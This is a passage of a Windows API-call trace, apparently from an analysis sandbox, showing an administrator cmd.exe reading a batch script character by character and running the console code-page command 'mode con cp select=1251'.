lpDistanceToMoveHigh=0x0) returned 0x0 [0109.780] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.780] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0109.780] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.780] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.780] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.781] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.781] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.781] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0109.781] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.781] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.781] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.781] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.781] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.781] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0109.781] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.781] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.781] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.781] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0109.781] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.781] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.782] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0109.782] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.782] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.782] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0109.782] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.782] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.782] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0109.782] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.782] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.782] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0109.782] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.782] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.782] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.782] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0109.783] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.783] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.783] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6028e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x10a4effa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesRead=0x10a4effa28*=0x1, lpOverlapped=0x0) returned 1 [0109.783] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=1, lpWideCharStr=0x7ff6028f3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0109.783] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.783] GetFileType (hFile=0x248) returned 0x3 [0109.783] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.784] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.784] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.784] GetFileType (hFile=0x254) returned 0x3 [0109.784] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff6028e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0109.784] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6028e9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x10a4eff9c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6028e9970*, lpNumberOfBytesWritten=0x10a4eff9c8*=0x18, lpOverlapped=0x0) returned 1 [0109.784] GetProcessHeap () returned 0x1723e9c0000 [0109.784] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x4012) returned 0x1723e9c8fe0 [0109.784] GetProcessHeap () returned 0x1723e9c0000 [0109.784] RtlFreeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, BaseAddress=0x1723e9c8fe0) returned 1 [0109.785] _wcsicmp (_String1="mode", _String2=")") returned 68 [0109.785] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0109.785] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0109.785] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0109.785] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0109.785] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0109.785] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0109.785] GetProcessHeap () returned 0x1723e9c0000 [0109.785] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0xb0) returned 0x1723e9c67b0 [0109.785] GetProcessHeap () returned 0x1723e9c0000 [0109.785] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x1a) returned 0x1723e9c6a50 [0109.786] GetProcessHeap () returned 0x1723e9c0000 [0109.786] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x38) returned 0x1723e9c6a80 [0109.787] GetConsoleOutputCP () returned 0x1b5 [0110.802] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6028efbb0 | out: lpCPInfo=0x7ff6028efbb0) returned 1 [0110.802] SetThreadUILanguage (LangId=0x0) returned 0x409 [0112.217] GetConsoleTitleW (in: lpConsoleTitle=0x10a4eff810, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0113.441] malloc (_Size=0xffce) returned 0x1723eae0840 [0113.441] ??_V@YAXPEAX@Z () returned 0x1723eae0840 [0113.441] malloc (_Size=0xffce) returned 0x1723eaf0820 [0113.442] ??_V@YAXPEAX@Z () returned 0x1723eaf0820 [0113.443] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0113.443] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0113.443] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0113.443] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0113.443] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0113.443] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0113.443] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0113.443] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0113.443] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0113.443] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0113.443] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0113.443] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0113.443] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0113.443] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0113.443] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0113.444] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0113.444] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0113.444] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0113.444] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0113.444] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0113.444] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0113.444] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0113.444] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0113.444] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0113.444] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0113.444] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0113.444] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0113.444] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0113.444] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0113.444] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0113.444] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0113.444] _wcsicmp (_String1="mode", _String2="START") returned -6 [0113.444] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0113.444] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0113.444] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0113.444] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0113.444] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0113.444] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0113.444] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0113.444] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0113.444] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0113.445] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0113.445] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0113.445] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0113.445] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0113.445] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0113.445] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0113.445] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0113.445] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0113.445] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0113.445] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0113.445] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0113.445] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0113.445] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0113.445] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0113.445] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0113.445] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0113.445] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0113.445] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0113.445] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0113.445] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0113.445] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0113.445] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0113.445] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0113.445] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0113.446] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0113.446] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0113.446] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0113.446] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0113.446] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0113.446] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0113.446] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0113.446] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0113.446] _wcsicmp (_String1="mode", _String2="START") returned -6 [0113.446] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0113.446] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0113.446] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0113.446] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0113.446] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0113.446] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0113.446] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0113.446] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0113.446] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0113.446] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0113.446] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0113.446] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0113.446] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0113.447] ??_V@YAXPEAX@Z () returned 0x1 [0113.447] GetProcessHeap () returned 0x1723e9c0000 [0113.447] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0xffde) returned 0x1723e9c8fe0 [0113.448] GetProcessHeap () returned 0x1723e9c0000 [0113.448] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x42) returned 0x1723e9c19f0 [0113.448] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0113.448] malloc (_Size=0xffce) returned 0x1723eaf0820 [0113.448] ??_V@YAXPEAX@Z () returned 0x1723eaf0820 [0113.448] GetProcessHeap () returned 0x1723e9c0000 [0113.448] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x1ffac) returned 0x1723e9d8fd0 [0113.451] SetErrorMode (uMode=0x0) returned 0x0 [0113.451] SetErrorMode (uMode=0x1) returned 0x0 [0113.451] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1723e9d8fe0, lpFilePart=0x10a4eff090 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x10a4eff090*="Desktop") returned 0x17 [0113.451] SetErrorMode (uMode=0x0) returned 0x1 [0113.451] GetProcessHeap () returned 0x1723e9c0000 [0113.451] RtlReAllocateHeap (Heap=0x1723e9c0000, Flags=0x0, Ptr=0x1723e9d8fd0, Size=0x4a) returned 0x1723e9d8fd0 [0113.451] GetProcessHeap () returned 0x1723e9c0000 [0113.451] RtlSizeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, MemoryPointer=0x1723e9d8fd0) returned 0x4a [0113.451] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6028ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0113.451] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0113.451] GetProcessHeap () returned 0x1723e9c0000 [0113.451] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x1bc) returned 0x1723e9c8320 [0113.451] GetProcessHeap () returned 0x1723e9c0000 [0113.452] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x368) returned 0x1723e9d9030 [0113.471] GetProcessHeap () returned 0x1723e9c0000 [0113.471] RtlReAllocateHeap (Heap=0x1723e9c0000, Flags=0x0, Ptr=0x1723e9d9030, Size=0x1be) returned 0x1723e9d9030 [0113.471] GetProcessHeap () returned 0x1723e9c0000 [0113.471] RtlSizeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, MemoryPointer=0x1723e9d9030) returned 0x1be [0113.471] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6028ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0113.471] GetProcessHeap () returned 0x1723e9c0000 [0113.471] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0xe8) returned 0x1723e9c6c30 [0113.473] GetProcessHeap () returned 0x1723e9c0000 [0113.473] RtlReAllocateHeap (Heap=0x1723e9c0000, Flags=0x0, Ptr=0x1723e9c6c30, Size=0x7e) returned 0x1723e9c6c30 [0113.473] GetProcessHeap () returned 0x1723e9c0000 [0113.473] RtlSizeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, MemoryPointer=0x1723e9c6c30) returned 0x7e [0113.474] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.474] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x10a4efee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x10a4efee00) returned 0xffffffffffffffff [0113.474] GetLastError () returned 0x2 [0113.474] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.475] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x10a4efee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x10a4efee00) returned 0xffffffffffffffff [0114.262] GetLastError () returned 0x2 [0114.262] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0114.262] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x10a4efee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x10a4efee00) returned 0x1723e9c1a40 [0114.263] GetProcessHeap () returned 0x1723e9c0000 [0114.263] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x0, Size=0x28) returned 0x1723e9c6cc0 [0114.263] FindClose (in: hFindFile=0x1723e9c1a40 | out: hFindFile=0x1723e9c1a40) returned 1 [0114.263] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x10a4efee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x10a4efee00) returned 0x1723e9c1a40 [0114.263] GetProcessHeap () returned 0x1723e9c0000 [0114.263] RtlReAllocateHeap (Heap=0x1723e9c0000, Flags=0x0, Ptr=0x1723e9c6cc0, Size=0x8) returned 0x1723e9c6cc0 [0114.263] FindClose (in: hFindFile=0x1723e9c1a40 | out: hFindFile=0x1723e9c1a40) returned 1 [0114.263] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0114.263] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0114.264] ??_V@YAXPEAX@Z () returned 0x1 [0114.264] GetConsoleTitleW (in: lpConsoleTitle=0x10a4eff380, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0115.353] GetProcessHeap () returned 0x1723e9c0000 [0115.353] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x21c) returned 0x1723e9c6cf0 [0115.353] GetConsoleTitleW (in: lpConsoleTitle=0x1723e9c6d00, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0116.841] GetProcessHeap () returned 0x1723e9c0000 [0116.841] RtlReAllocateHeap (Heap=0x1723e9c0000, Flags=0x0, Ptr=0x1723e9c6cf0, Size=0xaa) returned 0x1723e9c6cf0 [0116.841] GetProcessHeap () returned 0x1723e9c0000 [0116.841] RtlSizeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, MemoryPointer=0x1723e9c6cf0) returned 0xaa [0116.841] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0117.389] GetProcessHeap () returned 0x1723e9c0000 [0117.389] RtlFreeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, BaseAddress=0x1723e9c6cf0) returned 1 [0117.389] InitializeProcThreadAttributeList (in: lpAttributeList=0x10a4eff2a0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x10a4eff190 | out: lpAttributeList=0x10a4eff2a0, lpSize=0x10a4eff190) returned 1 [0117.389] UpdateProcThreadAttribute (in: lpAttributeList=0x10a4eff2a0, dwFlags=0x0, Attribute=0x60001, lpValue=0x10a4eff17c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x10a4eff2a0, lpPreviousValue=0x0) returned 1 [0117.389] GetStartupInfoW (in: lpStartupInfo=0x10a4eff230 | out: lpStartupInfo=0x10a4eff230*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0117.389] GetProcessHeap () returned 0x1723e9c0000 [0117.390] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x20) returned 0x1723e9c1a40 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0117.390] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0117.391] _wcsnicmp 